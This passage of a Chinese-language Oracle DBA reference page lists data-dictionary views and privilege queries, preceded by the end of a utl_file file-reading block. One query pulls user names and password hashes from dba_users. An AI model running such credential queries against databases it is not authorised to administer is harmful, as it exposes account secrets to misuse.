<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dbms_output.put_line(fp_buffer );<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.fclose(filehandle);<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">end;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">/<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:14pt;">2.</span></b><b><span style="font-size:14pt;">系统表<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">1</span>）常用查询<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select username,password from dba_users; --</span>查看用户名和密码<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from role_sys_privs;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>查看当前用户的权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from v$pwfile_users;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>查看哪些用户有<span lang="EN-US">sysdba</span>权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from all_tables;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; --</span>获取所有用户及创建的表<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from user_tables;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; --</span>获取用户的表对象<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from dba_sys_privs;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; --</span>用户的系统权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from dba_tab_privs&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; --</span>用户具有的对象权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from dba_col_privs&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; --</span>用户具有的列对象权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from user_sys_privs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; --</span>当前用户的系统权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from user_tab_privs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; --</span>当前用户的对象权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from user_col_privs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; --</span>当前用户的表列权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from user_role_privs&nbsp; &nbsp;&nbsp;&nbsp; --</span>当前用户的角色权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from session_privs&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; --</span>会话的权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from v$instance&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>数据库实例信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from v$database&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>数据库信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from v$datafile&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>数据文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">select * from v$controlfile&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>控制文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:14pt;">&nbsp;</span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">2</span>）<span lang="EN-US">dba<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_users &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库用户信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_segments &nbsp;&nbsp;&nbsp;&nbsp; </span>表段信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_extents&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据区信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_objects&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库对象信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_tablespaces&nbsp; &nbsp;</span>数据库表空间信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_data_files&nbsp;&nbsp;&nbsp; </span>数据文件设置信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_temp_files&nbsp; &nbsp; </span>临时数据文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_rollback_segs</span>回滚段信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_ts_quotas&nbsp; &nbsp;&nbsp; </span>用户表空间配额信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_free_space&nbsp;&nbsp;&nbsp; </span>数据库空闲空间信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_profiles&nbsp; &nbsp;&nbsp;&nbsp; </span>数据库用户资源限制信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_sys_privs&nbsp; &nbsp;&nbsp; </span>用户的系统权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_tab_privs&nbsp;&nbsp;&nbsp;&nbsp; </span>用户具有的对象权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_col_privs&nbsp;&nbsp;&nbsp;&nbsp; </span>用户具有的列对象权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_role_privs&nbsp;&nbsp;&nbsp; </span>用户具有的角色信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_audit_trail&nbsp;&nbsp; </span>审计跟踪记录信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_stmt_audit_opts&nbsp; </span>审计设置信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_audit_object&nbsp; &nbsp;&nbsp; </span>对象审计结果信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_audit_session&nbsp;&nbsp;&nbsp; </span>会话审计结果信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dba_indexes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>用户模式的索引信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">3</span>）<span lang="EN-US">user<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_objects&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>用户对象信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_source&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库用户的所有资源对象信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_segments&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>用户的表段信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_tables&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>用户的表对象信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_tab_columns&nbsp; &nbsp;&nbsp; </span>用户的表列信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_constraints&nbsp; &nbsp;&nbsp; </span>用户的对象约束信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_sys_privs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </span>当前用户的系统权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_tab_privs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </span>当前用户的对象权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_col_privs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </span>当前用户的表列权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_role_privs&nbsp; &nbsp;&nbsp;&nbsp; </span>当前用户的角色权限信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_indexes&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>用户的索引信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_ind_columns&nbsp;&nbsp;&nbsp;&nbsp; </span>用户的索引对应的表列信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_cons_columns&nbsp; &nbsp; </span>用户的约束对应的表列信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_clusters&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>用户的所有簇信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_clu_columns &nbsp;&nbsp;&nbsp; </span>用户的簇所包含的内容信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">user_cluster_hash_expressions&nbsp;&nbsp; </span>散列簇的信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">4</span>）<span lang="EN-US">v$<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$database&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$datafile&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$controlfile&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>控制文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$logfile&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>重做日志信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$instance&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库实例信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$log&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>日志组信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$loghist &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>日志历史信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$sga&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库<span lang="EN-US">SGA</span>信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$parameter &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>初始化参数信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$process&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库服务器进程信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$bgprocess&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库后台进程信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$controlfile_record_section&nbsp; </span>控制文件记载的各部分信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$thread&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>线程信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$datafile_header&nbsp; &nbsp; </span>数据文件头所记载的信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$archived_log&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>归档日志信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$archive_dest &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>归档日志的设置信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$logmnr_contents &nbsp;&nbsp; </span>归档日志分析的<span lang="EN-US">DML DDL</span>结果信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$logmnr_dictionary&nbsp; </span>日志分析的字典文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$logmnr_logs&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>日志分析的日志列表信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$tablespace&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>表空间信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$tempfile&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>临时文件信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$filestat&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据文件的<span lang="EN-US">I/O</span>统计信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$undostat&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Undo</span>数据信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$rollname &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>在线回滚段信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$session&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>会话信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$transaction &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>事务信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$rollstat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>回滚段统计信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$pwfile_users&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </span>特权用户信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$sqlarea &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>当前查询过的<span lang="EN-US">sql</span>语句访问过的资源及相关的信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$sql</span>与<span lang="EN-US">v$sqlarea&nbsp;&nbsp;&nbsp; </span>基本相同的相关信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">v$sysstat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库系统状态信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">5</span>）其他<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">all_users&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库所有用户的信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">all_objects&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>数据库所有的对象的信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">all_def_audit_opts&nbsp;&nbsp; </span>所有默认的审计设置信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">all_tables&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>所有的用户及创建的表<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">all_indexes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>所有的数据库对象索引的信息<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
